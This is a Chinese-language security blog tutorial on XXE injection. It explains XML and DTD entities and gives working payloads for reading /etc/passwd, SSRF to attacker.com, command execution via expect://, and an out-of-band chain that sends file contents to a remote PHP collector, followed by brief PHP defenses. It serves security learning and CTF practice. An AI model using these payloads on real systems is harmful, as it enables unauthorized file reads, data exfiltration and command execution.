XXE 2024-7-10
什么是XXE?
XXE 全称XML外部实体注入(XML External Entity Injection)攻击。是由于程序在解析XML时加载了攻击者伪造的外部实体引发的安全问题。
什么是XML?
XML指的是可扩展标记语言(eXtensible Markup Language)类似于html。不过HTML则用来显示数据,而XML被设计用来传输和存储数据,是一种文本格式。
XML的特点
- XML的标签没有被定义,需要使用者自己自定义标签和文档结构
- XML仅仅是纯文本,不会做任何事情。仅仅是用来存储数据
XML文本格式
- XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD
- DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
为什么要使用DTD?
- 通过DTD每一个XML文档都可以拥有一个有关对自身格式的描述。
- 可以通过DTD来规定一个XML文档的标准格式,某些需要直接交换数据的XML文档通过使用这个DTD来确保格式相同,避免数据解析错误。
- 应用程序在接收到XML文档时,可以使用DTD进行验证,若符合DTD的定义,则表示应用程序可以安全的处理这些数据。
- DTD还可以用来对自身生成的XML进行验证。
DTD实体
- 实体可在内部或外部进行声明。
内部实体的声明:
1 | <!ENTITY 实体名称 "实体的值"> |
示例:
1 | <?xml version="1.0"?> |
外部实体的声明:
1 | <!ENTITY 实体名称 SYSTEM "URI/URL"> |
示例1:
1 | flag.txt中存放的内容是 Yliken |
既然XML是纯文本,那么为什么还会产生注入攻击?
XML是纯文本格式,本身是不会有任何作用。XXE攻击利用的是编程语言中对XML文本进行解析的函数处理外部实体的能力。通过构造恶意的XML使解析器访问本地或者网络上的资源。
XML外部实体攻击
XML外部实体攻击就是XXE。 XML文档中DTD实体中的SYSTEM关键字会令XML解析器中读取内容,并允许它在XML中被替换。攻击者通过构造恶意DTD实体来强制让XML文档解析器去访问指定资源(既可以是本地文件也可以是远程文件)。来达到攻击的目的。
有回显XXE利用
文件读取:构造带有恶意的DTD外部实体的XML,通过
file://
、php://
等伪协议来进行文件读取。1
2
3
4
5
6
7<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>SSRF: 构造带有恶意的DTD外部实体的XML,指向想要请求的资源。
1
2
3
4
5
6
7<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY xxe SYSTEM "http://attacker.com/ssrf?data=internal">
]>
<example>
&xxe;
</example>RCE: 如果PHP的 expect模块被加载到web应用上。可以通过恶意的DTD来实现命令执行
1
2
3
4
5
6<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<description>&xxe;</description>
</catalog>
无回显XXE利用
很多时候后端解析了XML文档并不会有输出。这样可以通外带数据进行利用(OOB)。
利用思路与打XSS思路相同:
- 我们需要有一个接收平台
- 把后端将XML解析后读取的数据 发送到 接收平台
- 接收平台进行数据的存储
- 去接收平台查看
做法:
先读取想要的文件
1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
调用一个放在接收平台的外部
xml
。比如1.xml
1
<!ENTITY % remote SYSTEM "http://example/1.xml">
1.xml
的内容1
2
3
4<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://example/2.php?id=%file;'>"
>
%all;1.xml
访问接收平台上的2.php
。2.php
接收%file
也就是 读取到的文件内容2.php
的内容1
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
2.php
将读取到的文件的内容存储到3.txt中
PHP中XXE的防御
- 通过
libxml_disable_entity_loader(true)
禁止使用外部实体 - 过滤掉用户提交的XML数据中的
SYSTEM
和PUBLIC
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yliken!